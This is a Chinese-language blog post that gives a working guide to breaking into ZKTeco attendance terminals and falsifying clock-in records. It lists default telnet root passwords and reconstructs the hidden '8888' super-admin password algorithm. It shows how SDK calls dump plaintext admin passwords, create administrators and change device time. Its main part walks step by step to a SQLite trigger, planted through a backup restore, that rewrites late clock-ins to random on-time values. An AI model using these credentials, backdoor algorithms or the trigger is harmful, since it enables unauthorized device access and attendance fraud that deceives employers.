本文仅做信息安全学习记录讨论,请勿用于非法用途。由此造成的一切问题由操作者自行承担。不提供任何远程指导,也不收费,任何需要交流的请在评论区直接评论。
评论区有一些有用的信息。
- 2022-08-08
修改行文逻辑和章节,新增新版超管密码算法,见 密码算法 2 章节 - 2024-02-26
应网友要求,丰富 0x04 触发器章节,并修改行文逻辑。狗日的,累死我了,立个 flag:以后再也不更新这篇文章了🤕
0x00 引言
这篇文章其实是 2018 年我第一次参加工作的时候折腾出来的结果,包括触发器。但彼时我忙着处理感情上的烂账,没有时间做整理。直到后来有时间了以后,才堪堪做总结记录。现在公司改用钉钉打卡了,本文对我也已经不适用,只能在互联网上留下一点记录,供有缘人自己折腾。鉴于我的网站百度是不收录的,有缘人们可是真有缘了。
中控考勤机基本上被研究烂了,所以与其说是破解,不如说是扩展。不过玩这些的应该大多都是人事?意味着去扩展的人应该还是少数。
- 默认远程 telnet 用户名
root,可能的密码:solokey(被工厂初始化后的密码);pd*@&jz%+(2008年左右的密码,感谢评论指出);q4(网络资料)。,B~->q4,B~->_%+|]g
- 隐藏的超管用户
8888,和与时间有关的动态密码; - 通过 TCP 4370 (默认) 端口读取用户信息,包含管理员明文密码;
- 其他:80 端口,旧版彩屏机提供的后台网页,功能很少,设计很烂,现已不常见。本文不表。
修改打卡时间的思路:
- 修改时间补卡。可以通过超管 8888(见 0x02 章节)或者 SDK(见 0x05 章节)修改时间,然后补卡。前提是考勤表是类似于课程表那种,或打卡信息按照考勤机打卡时间顺序升序,而非真实先后顺序升序排序打卡时间(见 0x03 章节);
- 获取并修改 ZKDB.db 文件
- ZKDB.db 类型为 SQLite3 格式文件(见 0x01 章节);
- 如果你有了 telnet 权限,参考 0x01 使用 tftp 命令将文件传输至电脑即可;
- 如果你无法进入 telnet,可以通过超管 8888(见 0x02 章节)或者 SDK(见 0x05 章节)将自己设为管理员后进入后台,并确认考勤机版本较新,这样可以在后台通过 U 盘将考勤机数据备份出来,其中就有
ZKDB.db,修改完成后将备份还原到考勤机上; - 参考 0x04 章节对 ZKDB.db 新增触发器,每日打卡时自动调整时间;
- 社会工程学搞定人事(见
《我和人事小姐姐的故事》)。
0x01 考勤机 Telnet 后台
pd*@&jz%+这个密码我还没有在任何考勤机上见过。需要注意的是,在默认设置下,考勤机的 IP 地址是 192.168.0.201。如果在无权限进入管理界面时接入内网,需要确认内网 IP 段是 192.168.0.* 、DHCP 开启、默认 IP 未修改且未被占用、通讯密码和机器号默认未修改。
2022-08-06 修改:
评论区有人指出新版考勤机已经不适用 telnet 密码。我买了个考勤机来试了试,同型号的有的支持 solokey,有的不支持,猜测新版固件已经更改。有老哥获取了 passwd 文件放在评论区,密码是加了盐的 MD5,我自己在 CMD5 没有查到相应结果,有条件的大神可以拿来爆破下。但根据新版超管的密码算法,我感觉应该跟序列号有关,爆破可能不通用。
数据库类型
SQLite3,这点可以从 /mnt/mtdblock/data/ 下的 sqlite3 相关文件看出来。
# ls -l /mnt/mtdblock/data
total 1316
-rwxrwxrwx 1 root root 381952 Apr 26 09:12 ZKDB.db
-rwxrwxr-x 1 1002 1002 22528 Apr 16 08:26 ZKSystem.db
-rwxrwxr-x 1 1002 1002 2294 May 26 2016 sql-generater.sh
-rwxrwxr-x 1 1002 1002 103337 May 26 2016 sqlite3_mips
...
其中 ZKDB.db 就是考勤数据库文件, ZKSystem.db 是系统配置数据库文件,sqlite3_mips 是操作 SQLite3 数据库的 ELF 文件,可以知道该考勤机系统架构是 MIPS ,从 sql-generater.sh 文件内容来看,还有 ARM 架构。
tftp / ftpput / ftpget
考勤机上安装了 Busybox, 支持 tftp,可以通过它来传输文件。在 Windows 上开启 tftp 客户端/服务器,你需要 TFTP. 当然也有 ftpget 和 ftpput 可供选择。
到这就意味着你基本上可以修改打卡机上的任意文件和数据,包括考勤记录,用户照片,考勤机背景图片,甚至是打卡成功提示音。
0x02 超管 8888
工号 8888 是中控考勤机的一个特殊用户,当人工录入的工号没有覆盖掉 8888 这个工号时,该工号可以作为考勤机忘记密码时的后门账户,输入特定密码进入管理后台进行维护。按照正常途径,你要获取这个密码,是需要向中控官方提交加盖公司公章的承诺书后,中控官方才会告诉你。
注意:8888 的密码和 TELNET 密码不是同一个密码,不通用。
密码算法 1
适用于旧版的彩屏考勤机,假设当前时间为16:43,则动态密码为(9999-1643)2=69822736。
这个版本的密码网上到处都是,但新版已经不适用了。通过分析 MIPS 版本1的 libverify.so,获得如下可能的新算法。
密码算法 2
首先,通过简单验证输入的 PIN 是否为超管 PIN 8888,如果是,则进入超管账号的验证流程。进入后,机器获取名为「BreakNormal」2的配置,如果配置存在且不为 0,则采用前文的密码算法1进行验证,反之进入如下的新版流程:
- 通过 ngx_crc32_short 和中控的自选算法,计算出机器序列号的校验值,并用 999999 - 校验值,得到数 A,由于该算法得到的校验值结果恒小于 900000,故 A 必为 6 位。此处假设得到的 A = 995764;
- 提供某个长度小于等于 8 位的密码,该密码满足:
- 密码的最后一位 = 前面所有位的和 + 5 的结果的最后一位,比如密码前所有位为 1234567,则 1 + 2 + ... + 7 = 28,28 + 5 = 33,最后一位是 3,所以最后密码为 12345673
- 取密码前所有位数 B,此处 B = 123456;如果不满 6 位的,在前面补 0;
- 将 A 从高位到低位两两分组,得到 A1A2A3(如 A = 995764 时,A1 = 99,A2 = 57,A3 = 64,下同),对应的 B 划分得到 B1B2B3,用 A3 - B1,A2 - B2,A1 - B3,得到新的三组数 C1C2C3,将其按顺序合并得到新数 C = 269169;如果 C1/C2/C3 小于 100 的,加上 100 再拼接;
- 将当前日期时间戳(秒数)通过自选算法计算得到时间戳校验值 D;
- 若 144 < C - D < 8641,则视为合法的动态密码。
实测的时候发现一个问题:第 6 步的 C - D 的值,按照分析结果需要落在 (144, 8641) 区间内,但实测结果是其他区间。我机器上尝试出来的下界是 3023,上界暂未测出来。
下面是我编写的密码生成算法的测试,第一个框输入序列号,第二个框输入 offset,点生成密码即可。第三个框输入 yyyyMMdd 格式的日期,适用于:修改系统时间为非当日时间后,再次尝试进入后台。offset 可能需要你自己尝试。我用 5000 在我自己的机器上是没有问题的。-999999 这样的大负数也没问题。
如果结果是 NaN,或者得到的密码位数不为 8 位,或者输入后密码错误,请更换 offset 的值再尝试。评论区已经有老哥尝试成功,他的考勤机序列号还是带字母的,也可以用。
这个密码有几个特性:
- 由于用于计算的时间戳去除了时分秒的影响,故密码在同一天内都有效;
- offset 的取值不同时,得到的密码不同,但大部分都是有效的密码,意味着当日内的合法密码不止一组。
需要注意的是:时间戳的时间是本地时间,为了模拟本地时间戳,我用 js 生成时间戳(UTC 时间)后减去了 28800(我这里是 GMT+8,和 UTC 的偏移就是 28800 秒)。如果你需要将 js 版本改写成其他语言版本,请务必注意你所用的语言的时间特性。
0x03 使用 ZKTime 5.0/SDK 获取管理权限
中控考勤机开放 RS232/485、TCP 或 USB 端口供官方的 SDK 对考勤机进行管理,当然也包括使用 SDK 的中控提供的官方考勤管理软件 ZKTime 5.0,你可以在中控官网找到 ZKTime 5.0 的下载链接。
和 0x01 考勤机 Telnet 后台描述的一样,如果在无权限进入管理界面时接入内网,需要确认内网 IP 段是 192.168.0.* 、DHCP 开启、默认 IP 未修改且未被占用、通讯密码和机器号默认未修改。
一般来说机器号默认为 1,通讯密码默认为 0。通讯密码的范围为 0~999999,如果你使用默认密码连接失败了,你可以尝试编写程序,调用 SDK 进行密码遍历爆破。
默认情况下,使用 SDK 连接考勤机不需要任何验证。由于 SDK 提供的 dll 可以供二次开发使用,你可以使用多种编程语言对 SDK 进行二开,只需要调用相应 dll 内的相应方法即可,其 SDK 说明可在各大资源站下载。
鉴于 Github 上中控考勤机 SDK 的项目已经足够多,此处不做代码展开,只讲几个有意思的 API。
ReadAllUserID
读取所有的用户信息到PC内存中,包括用户编号,密码,姓名,卡号等,指纹模板除外。在该函数执行完成后,可调用函数 GetUserInfo、SSR_GetUserInfo 取出用户信息。
bool ReadAllUserID (long dwMachineNumber)
注意到该 API 的描述,可以读取所有用户的信息,包括密码,也就是说管理员及其密码也在内,这就允许你获取进入后台的权限。需要注意的是,该 API 的作用是预读取,要获取每条用户信息,则需要调用下面的另一个 API 获取。
SSR_GetAllUserInfo
取得所有用户信息。在该函数执行之前,可用 ReadAllUserID 读取到所有用户信息到内存,SSR_GetAllUserInfo 每执行一次,指向用户信息指针移到下一记录,当读完所有用户信息后,函数返回False
bool SSR_GetAllUserInfo (
long dwMachineNumber, // [in] 机器号
BSTR * dwEnrollNumber,// [out] 用户号
BSTR * Name, // [out] 用户姓名,最长为16字节,偶尔需要自己做隔断
BSTR * Password, // [out] 用户密码
long * Privilege, // [out] 用户权限,0 普通用户,1 登记员,2 管理员,3 超级管理员
bool * Enabled // [out] 用户启用标志
)
使用 while 循环调用该函数,即可在 ReadAllUserID 调用以后,获得用户的信息,包括密码。
以上两个方法对应 ZKTime 5.0 的:从设备下载人员信息功能。
SSR_SetUserInfo
设置指定用户的用户信息,若机器内没用该用户,则会创建该用户
bool SSR_SetUserInfo (
long dwMachineNumber, // [in] 机器号
BSTR dwEnrollNumber, // [in] 用户号
BSTR Name, // [in] 用户姓名,最长为16字节
BSTR Password, // [in] 用户密码
long Privilege, // [in] 用户权限,0 普通用户,1 登记员,2 管理员,3 超级管理员
bool Enabled // [in] 用户启用标志
)
如果你想简单粗暴新建管理员,或者将自己改为管理员,这个 API 是个不错的选择。
该方法对应 ZKTime 5.0 的:上传人员信息到设备功能。你可以在在 ZKTime 5.0 上将人员信息下载后,修改你的身份为管理员,而后上传人员信息后,通过你的工号进入后台。
SetDeviceTime2
设置机器时间(可指定时间)
bool SetDeviceTime2 ( long dwMachineNumber,
long dwYear,
long dwMonth,
long dwDay,
long dwHour,
long dwMinute,
long dwSecond
)
这个 API 和获取密码没什么关系,但允许你通过 SDK 修改考勤机当前时间。对于新版考勤机而言,由于导出记录是根据时间升序排列的(见0x05 考勤记录导出 Excel 表时的排序),修改时间再补打卡不会被看出来,所以可以用这种方式简单地补打卡。
该方法对应 ZKTime 5.0 的:同步设备时间功能。不同的是其同步的是电脑的当前时间,如果你要通过 ZKTime 5.0 修改设备时间,请先将电脑时间改成你需要修改的时间后再同步。
0x04 触发器
相应的 inspiration 可参见评论区讨论。
2024-02-24 应网友要求,重新整理本章节。
注意:作为本文最长、内容最丰富的章节,本章节操作存在很大风险,仅供信息安全学习记录讨论,请勿用于非法用途。由此造成的一切问题由操作者自行承担。
这个比较巧妙,不需要借助任何额外插件,一次修改终身受用。但需要你能修改 ZKDB.db 文件。这个巧妙的方式就是 触发器。
0x04 << 1 获取 ZKDB.db 文件
ZKDB.db 是考勤机上的 SQLite3 格式的数据库文件,其中存储了:员工信息、员工打卡记录等与考勤有关的信息。你可以通过两种方式得到 ZKDB.db 文件:
通过 telnet + tftp 获取 ZKDB.db 文件(不建议)
参照 数据库类型 和 tftp / ftpput / ftpget 章节,连接到考勤机后台并在相应目录下获取 ZKDB.db 文件并传到电脑。
该种方式有如下缺点:
- 鉴于目前考勤机 telnet 密码越来越难以获取,默认密码仅存在于部分老旧考勤机上,几乎很难通过 telnet 连接考勤机;
- 即便我们走运登录上了 telnet,能通过 tftp 获取 ZKDB.db,在后续修改完成后,也无法通过 tftp 上传覆盖。因为在考勤机运行时,ZKDB.db 是属于被占用的状态的;此时你只能通过 telnet 运行
sqlite3_mips程序来运行新增触发器的语句,但这对于非专业人士来说是危险的,可能导致考勤机故障。
故不建议使用该种方式。
通过 U 盘和管理后台获取备份文件(建议)
你可以通过两种常见的方式来进入考勤机后台:
- 参照 0x02 超管 8888 章节,通过工号为 8888 的隐藏超管用户进入后台。该方法不要求考勤机联网;
- 参照 0x03 使用 ZKTime 5.0/SDK 获取管理权限 章节的几个 API,获取管理员密码,或将自己设置成管理员,而后通过管理员工号验证进入后台。该方法要求你能通过局域网访问考勤机。
进入后台后,在考勤机上插上你的 U 盘,此时考勤机右上角状态栏处应显示 USB 已插入的图标。在数据管理 → 备份数据 → U 盘备份处,选择备份内容为「业务数据、配置数据」,选择「开始备份」,等待进度条完成。
具体操作界面和步骤可能因你考勤机型号而异。若你遇到问题,请移步中控考勤机官网查找和下载操作说明文档,按照更详细的指引解决。
传输完毕后,退出后台,拔除 U 盘并将其插入电脑,此时应该可以在电脑上 U 盘根目录:backupdata 文件夹下找到 backupdata.dat 文件。
下载和安装 7-zip,直接在 backupdata.dat 上右键——7-zip——打开压缩包:
一直双击打开,你将可以找到 ZKDB.db 文件。将其拖动到外部文件夹备用。
0x04 << 2 打开和编辑 ZKDB.db 文件
使用支持打开 SQLite 文件的软件来打开 ZKDB.db 文件。可供选择的有:SQLiteStudio(免费)、DB Browser for SQLite(免费) 或 Navicat for SQLite(收费,14 天试用)。此处选择 SQLiteStudio。
假设你已经下载并安装了 SQLiteStudio,则使用其打开 ZKDB.db 文件。首先,请先按照如下步骤找到你的工号并修改密码:
本篇说明中,示例的本人工号,即 User_PIN 为 9. 本文将用 9 作为示例。具体到你操作时,请记得替换为你本人的工号。
在进入编辑触发器的章节之前,假设你没有任何有关于 SQLite 的知识,那么我们需要按照如下的步骤热身。
0x04 << 3 热身:模拟打卡
使用 SQLiteStudio 载入 ZKDB.db 文件,按照下面的步骤,在 ATT_LOG 表中新增一条记录:
没错!所谓的「打卡」,就是往ATT_LOG表内插入一条新的数据行。其中关键字段记录了本次打卡的信息。上面的操作已经为你新增了一条于 2024-02-24 08:46:32 的上班打卡记录。你也可以通过以下的SQL 编辑器方式新增一条下班打卡记录:
代码:
INSERT INTO ATT_LOG
(User_PIN, Verify_Type, Verify_Time,
Status, Work_Code_ID, Sensor_NO, Att_Flag,
CREATE_ID, MODIFY_TIME, SEND_FLAG)
VALUES
(9, 1, '2024-02-24T19:07:30', 255, 0, NULL, NULL, NULL, NULL, 0);
而后你可以通过以下的方式查看刚刚INSERT(插入)的两条「打卡」记录:
请记住本次打卡的两条记录的 ID,此处为:3296 和 3297,分别对应上班打卡和下班打卡,但届时请替换为你自己的查询结果。这在后续热身内会用到。
恭喜你,现在你已经知道打卡操作对于数据表而言是个怎样的流程了。请在心里默念三遍:打卡就是INSERT、打卡就是INSERT、打卡就是INSERT。
0x04 << 4 热身:查询打卡记录
现在你已经有了 2 条打卡记录。现在你希望查询你于 2024-02-24 的打卡记录。同样打开SQL 编辑器,不同的是我们本次输入下面的代码并执行:
SELECT * FROM ATT_LOG
-- 从打卡记录表中查询所有
WHERE
-- 查询条件
Verify_Time LIKE '2024-02-24T%' -- 打卡时间长得像 2024-02-24T...
AND
-- 并且
User_PIN = 9; -- 打卡记录的用户工号为 9
可以看到你查询出了两条记录,正是你于 2024-02-24 的打卡记录。SELECT 语句用于查询符合指定条件的记录。很好,你已经学会如何查询打卡记录了。后续我们将在具体的触发器讲解中再次用到SELECT语句,来查询我们指定的员工。但在此之前,请尝试以下进阶的查询,以加深你对SELECT语句的理解。
0x04 << 5 热身:进阶查询
以下是几个不同的查询,你可以自己在SQL 编辑器内尝试运行。请注意将部分示例值改成你自己对应的值,例如:在用到工号(User_PIN)时,记得把值为 9 的 User_PIN 改成你自己的 User_PIN。
针对时间字段的范围查询
从 ATT_LOG 表中,查询介于 2024-02-19(含) 至 2024-02-23(含) 之间的工号为 9 的打卡记录:
SELECT
*
FROM
ATT_LOG
WHERE
Verify_Time >= '2024-02-19' AND Verify_Time < '2024-02-24'
-- 思考:为什么此处的上界和下界是这样
AND
User_PIN = 9; -- 请改成你自己的工号
带条件的指定字段的查询
从 USER_INFO 表中,查询用户信息表中密码为 '4370' 的用户的工号:
SELECT
User_PIN
FROM
USER_INFO
WHERE
Password = 4370;
使用 COUNT 函数做统计
从 ATT_LOG 表中,查询工号为 9 的用户在 2024-02-24 打了几次卡:
SELECT
COUNT(ID)
FROM
ATT_LOG
WHERE
Verify_Time LIKE '2024-02-24T%'
-- 将其改为 '1999-12-31T%',结果有何不同?为什么?
AND
User_PIN = 9; -- 请改成你自己的工号
直接查询
不从任何表中,而是直接查询一个给定的字符串 'abcdefg' 作为查询结果:
SELECT 'abcdefg';
字符串拼接操作符 ||
拼接字符串:
SELECT 'abcd' || 'efg';
0x04 << 6 热身:进阶函数查询
认识 substr 函数:
substr(字符串, 起始 INDEX, 截取长度) 用于裁剪给定的字符串。其中 INDEX 下标从 1 开始。请依次尝试以下的SELECT语句,看看结果有何不同。一次复制一条进行尝试:
-- 从 INDEX 1 开始,向后截取长度为 2 的字符串(含 INDEX 1)
SELECT substr('abcdefg', 1, 2);
-- 从 INDEX 2 开始,向后截取长度为 3 的字符串(含 INDEX 2)
SELECT substr('abcdefg', 2, 3);
-- 从 INDEX 3 开始,向前截取长度为 2 的字符串(不含 INDEX 3)
SELECT substr('abcdefg', 3, -2);
-- 从 INDEX 2 开始,向后截取字符串,直至字符串末尾(含 INDEX 2)
SELECT substr('abcdefg', 2);
-- 从 INDEX -2,即字符串倒数第 2 位开始,向后截取字符串,直至字符串末尾(含 INDEX -2)
SELECT substr('abcdefg', -2);
认识 random 函数和 abs 函数:
random() 函数用于随机生成范围为 [-2^{63}, 2^{63}-1] 的数字。abs(数字) 函数用于取对应数字的绝对值。
请分别尝试以下的SELECT语句,看看结果有何不同。注意:同一条SELECT语句,你可以多运行几次看看。
-- 随机获取范围为 [-2^63, 2^63-1] 之间的整数
SELECT random();
-- 随机获取范围为 [-9, 9] 之间的整数
SELECT random() % 10;
-- 随机取范围为 [0, 9] 之间的整数
SELECT abs(random() % 10);
-- 随机取范围为 [1, 9] 之间的整数
SELECT abs(random() % 9) + 1;
关于随机数范围选取,此处不赘述。
认识 julianday 函数
julianday(时间字符串) 用于将给定的符合条件的时间字符串转换为对应的浮点数,类似于转换为时间戳。不同的是 UNIX 时间戳代表对应时间从 1970-01-01 00:00:00 至今的秒数,而 julianday 代表对应时间从公元前 4714 年 11 月 24 日正午算起的天数。
将时间字符串转换为 julianday 的原因是:有时候我们需要对日期进行加减。虽然你也可以用其他方式来实现日期加减,但用数学的方式讲解日期加减更符合我的偏好。
尝试运行下面的SELECT语句:
SELECT julianday('2024-02-24T08:30:00');
认识 strftime 函数,以及时间加减
strftime(格式, 值) 函数用于将给定的符合条件的值(包括 julianday)转换为对应格式的时间字符串。
依次尝试运行下面的SELECT语句,请注意每条语句最后生成的时间有何不同:
SELECT strftime('%Y-%m-%dT%H:%M:%S', julianday('2024-02-24T08:30:00'));
SELECT strftime('%Y-%m-%dT%H:%M:%S', julianday('2024-02-24T08:30:00') + 30.0 / 24 / 60);
SELECT strftime('%Y-%m-%dT%H:%M:%S', julianday('2024-02-24T08:30:00') - 30.0 / 24 / 60 / 60);
可以看到,三次生成的结果分别为:
| 语句 | 结果 | 与1相差 |
|---|---|---|
| 1 | 2024-02-24T08:30:00 | - |
| 2 | 2024-02-24T09:00:00 | 30分钟 |
| 3 | 2024-02-24T08:29:30 | -30秒 |
将时间转换为 julianday 后,可以对其进行加减,得到对应变化的时间。由于 julianday 产生的浮点数代表的是天数,当你要加减小时、分钟和秒时,必须将其转换为以天为单位。此处 30 分钟转换为天数即为 30.0 / 24小时 / 60分钟,而 30 秒转换为天数即为 30.0 / 24小时 / 60分钟 / 60秒。
注意:参与计算的时分秒必须为浮点数,如30.0,而非30,否则其将被当成一个整型参与计算,最终结果会是 0。你可以自己将上面的语句 2 和语句 3 中的 30.0 改为 30 后运行,看看是否能得到预期结果。
随机生成符合条件的时间
将上面介绍的诸多函数结合起来,让我们试着随机生成符合:范围在 [2024-02-24T08:00:00, 2024-02-24T08:30:00] 内的、格式为 yyyy-MM-ddTHH:mm:ss 的时间吧。
SELECT strftime('%Y-%m-%dT%H:%M:%S',
julianday('2024-02-24T08:00:00') -- 基准时间:当日 8 点
+ abs(random() % 30) * 1.0 / 24 / 60 -- 随机 + 0~29 分钟
+ abs(random() % 60) * 1.0 / 24 / 60 / 60); -- 随机 + 0~59 秒
多运行几次上面的语句,记得生成随机整数后乘上 1.0 将其转换为浮点数。是不是每次都生成了符合条件的随机时间?
😍很好!你已经学会根据相应的条件,简单查询数据表记录、指定字段,甚至学会用COUNT函数来统计满足查询条件的记录数、用substr、random、abs、julianday和strftime函数来实现复杂的功能了!离你后续深入理解触发器又更近了一步。
0x04 << 7 热身:修改打卡记录
现在你已经在 2024-02-24「打卡」了两次:早晨和傍晚各一次。不幸的是,你们公司规定早上 8:30 以后打卡属于迟到,所以你于 2024-02-24 早上 08:46:32 打的卡已经宣告你迟到了。这时候我们需要更新对应的那条打卡记录为迟到前,也就是 2024-02-24T08:30:00 以前。
同样打开SQL 编辑器,不同的是我们本次输入下面的代码并执行:
UPDATE
ATT_LOG
SET
Verify_Time = '2024-02-24T08:29:59'
WHERE
ID = 3296;
-- 还记得 3296 吗?那是你在 0x05 << 3 中插入的第一条打卡记录的 ID
-- 此处请替换成你自己热身操作时的 ID
参照 0x04 << 4 热身:查询打卡记录 相同步骤,再次打开新的SQL 编辑器进行查询:
可以发现,你的上班「打卡」记录已经变成迟到前了!现在你已经学会了如何通过UPDATE语句,精准修改指定 ID 的打卡记录了。只是,总不能每次你都将上班时间改成 08:29:59 吧?你可不是 Timing 侠。有没有一条语句,每次UPDATE都能随机生成时间,又能确保其生成的时间总在 08:30 以前呢?
修改打卡时间为满足条件的随机时间
让我们回顾随机生成符合条件的时间这一小节,在其中,我们介绍了如何使用random、abs、julianday和strftime来组合生成随机符合条件的时间。我们也可以将其用来修改符合条件的打卡时间:
UPDATE
ATT_LOG
SET
Verify_Time = strftime('%Y-%m-%dT%H:%M:%S',
julianday(substr(Verify_Time, 1, 10) || 'T08:00:00') -- 基准时间:当日 8 点
+ abs(random() % 30) * 1.0 / 24 / 60 -- 随机 + 0~29 分钟
+ abs(random() % 60) * 1.0 / 24 / 60 / 60) -- 随机 + 0~59 秒
WHERE
ID = 3296;
-- 还记得 3296 吗?那是你在 0x05 << 3 中插入的第一条打卡记录的 ID
-- 此处请替换成你自己热身操作时的 ID
注意到 julianday 函数内,我们放入的是如下的语句:
substr(Verify_Time, 1, 10) || 'T08:00:00'
还记得 substr 函数和 || 运算符吗?前者负责获取子字符串,后者负责拼接字符串。在上面的例子里,ID = 3296 的记录的 Verify_Time 为 '2024-02-24T08:29:59',从 INDEX 1 开始长度为 10 的子串即为 '2024-02-24',拼接上 'T08:00:00' 就可以得到 '2024-02-24T08:00:00'。在后续编写触发器时,我们需要更新的日期一定是动态的,这就要求我们通过这种裁剪字符串 + 重新拼接字符串的方式来确保更新的是动态时间。
🤗很好!你已经学会了如何通过函数组合来修改你的打卡时间了。在进入编写触发器小节之前,让我们来学习如何删除记录。
0x04 << 8 热身:删除打卡记录
同样打开SQL 编辑器,不同的是我们本次输入下面的代码并执行:
DELETE FROM
ATT_LOG
WHERE
Verify_Time LIKE '2024-02-24%'
AND
User_PIN = 9; -- 请改成你自己的工号
再按照 0x04 << 4 热身:查询打卡记录 中的操作,试着重新查询记录,你会发现原本我们在前面小节中新增的打卡记录已经不见了。没错,DELETE语句用来删除满足指定条件的记录。
你也可以在对应表的「数据」选项卡中,在网格视图中选中指定行,点击红色的「删除选定行」按钮来删除记录。
请注意限定查询条件,不恰当的查询条件可能导致预料外的记录被删除。如果数据不慎被删除,只需从 backupdata.dat 中重新取出一份 ZKDB.db 即可。
😎现在,你已经学会了INSERT、SELECT、UPDATE和DELETE语句,你已经是一个合格的程序员了。接下来我们将进入本章的关键小节:编写触发器。
0x04 << 9 编写触发器
按照下面的步骤,我们开始新增触发器:
其中,前提条件和代码分别如下:
前提条件:
(SELECT
Password
FROM
USER_INFO
WHERE
User_PIN = NEW.User_PIN) = '4370'
AND
((SELECT COUNT(ID)
FROM ATT_LOG
WHERE
User_PIN = NEW.User_PIN AND
Verify_Time LIKE substr(NEW.Verify_Time, 1, 10)||'%') = 1)
代码:
UPDATE ATT_LOG
SET
Verify_Time =
strftime('%Y-%m-%dT%H:%M:%S',
julianday(
substr(NEW.Verify_Time, 1, 10) || 'T08:00:00')
+ abs(random() % 30) * 1.0 / 24 / 60
+ abs(random() % 60) * 1.0 / 24 / 60 / 60)
WHERE ID = NEW.ID;
我们来逐一讲解该触发器的具体含义。
当、动作、表和作用域
当:AFTER,动作:INSERT,表:ATT_LOG,作用域:FOR EACH ROW。连起来读一下:AFTER INSERT ATT_LOG,FOR EACH ROW... 是的,和字面意思一样,该触发器的作用是:当插入 ATT_LOG 表之后,对每一对象行,如果满足前提条件的,则执行相应代码。
由于我们关注的是考勤记录表,此处的表自然是 ATT_LOG,而我们关注的考勤人动作是打卡,还记得吗,打卡就是INSERT,所以我们关注的动作是 INSERT。而至于是 AFTER 还是 BEFORE,由于在本例中,我们需要在 INSERT 完成后判断是当日第几次打卡,所以我们选择 AFTER。你也可以选择 BEFORE,不过如果是这样的话,对应的触发器代码就要变更,也不利于按照时间顺序讲解,故此处我们还是选择 AFTER。
NEW 关键字
注意到上面的前提条件和代码中,出现了 NEW.User_PIN、NEW.Verify_Time 和 NEW.ID,此处NEW关键字的意思,即是代表着上面INSERT动作和作用域FOR EACH ROW中,插入的每一条新行的记录。譬如假设你执行了一条如下的语句:
INSERT INTO ATT_LOG
(User_PIN, Verify_Time) VALUES (9, '2024-02-24T08:46:50');
当该 INSERT 操作被触发器捕获后,NEW.User_PIN 就是 9,NEW.Verify_Time 就是 2024-02-24T08:46:50。
前提条件
(SELECT
Password
FROM
USER_INFO
WHERE
User_PIN = NEW.User_PIN) = '4370'
AND
((SELECT COUNT(ID)
FROM ATT_LOG
WHERE
User_PIN = NEW.User_PIN AND
Verify_Time LIKE substr(NEW.Verify_Time, 1, 10)||'%') = 1)
我们来逐一拆解前提条件,看看这个条件做了什么:首先该条件由 AND 关键字拼接了两个条件,我们来看第一个条件:
(SELECT
Password
FROM
USER_INFO
WHERE
User_PIN = NEW.User_PIN) = '4370'
我们已经知道了 NEW.User_PIN 代表着刚刚插入并被触发器捕获的那条记录的工号,则括号内SELECT语句的作用就是从 USER_INFO 表中,根据工号查询刚刚打卡的用户的用户密码。加上括号并 = '4370' 则是判断查询结果是否等于 4370.
第二个条件:
((SELECT COUNT(ID)
FROM ATT_LOG
WHERE
User_PIN = NEW.User_PIN AND
Verify_Time LIKE substr(NEW.Verify_Time, 1, 10)||'%') = 1)
首先看SELECT语句:
SELECT COUNT(ID)
FROM ATT_LOG
WHERE
User_PIN = NEW.User_PIN AND
Verify_Time LIKE substr(NEW.Verify_Time, 1, 10)||'%'
还记得COUNT函数的作用吗?其用于统计满足查询条件的记录数。故该语句的作用是:在 ATT_LOG 表中,统计出工号为NEW.User_PIN 的打卡人于NEW.Verify_Time 日期的打卡次数。加上括号并 = 1 则是判断当日打卡次数是否等于 1.
综上所述,该前提条件为:判断打卡人的密码是否为 4370,且是否为当日第 1 次打卡。
代码(动作)
UPDATE ATT_LOG
SET
Verify_Time =
strftime('%Y-%m-%dT%H:%M:%S',
julianday(
substr(NEW.Verify_Time, 1, 10) || 'T08:00:00')
+ abs(random() % 30) * 1.0 / 24 / 60
+ abs(random() % 60) * 1.0 / 24 / 60 / 60)
WHERE ID = NEW.ID;
参照 0x04 << 7 热身:修改打卡记录中的修改打卡时间为满足条件的随机时间,我们可以很容易地知道该代码(动作)的作用:修改刚刚的打卡记录,使打卡时间变更为符合条件的随机时间。
现在你已经知道如何新增一个自动修改上班时间的触发器,并且知道其中各个代码的含义了。你可以按照上面的流程,自己实现一个修改下班时间的触发器。整体的流程图如下:
请注意:该流程图中判断是否迟到和是否早退的逻辑,在上面的小节和触发器代码中并未实现。如有需要,你可以自己修改你触发器的前提条件,来实现该逻辑。
完成触发器的编写后,你可以在SQL 编辑器中,参照 0x04 << 3 热身:模拟打卡来进行模拟打卡,以测试触发器是否被成功触发。
0x04 << A 还原备份文件
如果你最终在电脑上完成了触发器的测试,由于这个探索时间是漫长的,过程中原考勤机上已经有其他人的打卡记录了,这时你需要重新从考勤机导出 backupdata.dat,解压出 ZKDB.db,在新备份内编辑保存好触发器以后,把 ZKDB.db 放回 backupdata.dat 里面,再将该备份还原至考勤机。否则在你折腾的这段时间内的所有打卡记录都将丢失。
在替换前,强烈建议你将 backupdata.dat 备份到电脑上,以免你把考勤机弄坏。
按照之前的方法,通过 7-zip 打开 backupdata.dat 找到 ZKDB.db,将添加完触发器的 ZKDB.db 文件拖入 7-zip 打开的窗口中,完成替换。
与从考勤机上备份数据到 U 盘类似,插上 U 盘再次进入后台,不同的是这次我们选择还原数据而非备份数据。完毕后,考勤机将重启,而后你可以测试在打卡机上打卡,并导出打卡结果查看,看看最终打卡记录是否满足条件。
0x04 << B 其他
Q: 为什么将密码改为 '4370',而非直接使用 User_PIN 字段来判断?
A: 注意到一开始USER_INFO表内的 ID 和 User_PIN 的对应关系,大部分用户的 ID 和 User_PIN 都是一致的,但姓名为“丁总”的记录,ID 和 User_PIN 不一致。这是由于之前存在一 ID=2, User_PIN=2 的用户,因为离职被管理员删除,而后才添加了“丁总”这一用户,导致 User_PIN 被释放后重新使用:
想象一下,如果你使用 User_PIN 字段的值来判断触发器是否对指定人员生效,当你离职后,你的信息被管理员删除,而后被释放的原本属于你的 User_PIN 被其他新增的人员使用,那么原本对你生效的触发器将对新增人员生效,这应该不是你希望看到的结果。😨
Q: 根据上面的图,USER_INFO表内的 ID 字段应是唯一的,为什么不用 ID 字段,而是使用 Password 字段来判断生效人员?
A: 可以使用 ID 字段,且用 ID 字段的确是唯一的,不会重复。但是想象一个场景:如果某天你不希望使用触发器了,当你用 Password 字段来进行判断时,你只需要将你的密码改掉/改成别的值,触发器就会对你失效了。你可以通过 ZKTime 5.0 软件、SDK 或者直接在考勤机前,改掉密码,你甚至可以直接请求人事帮你重设密码。
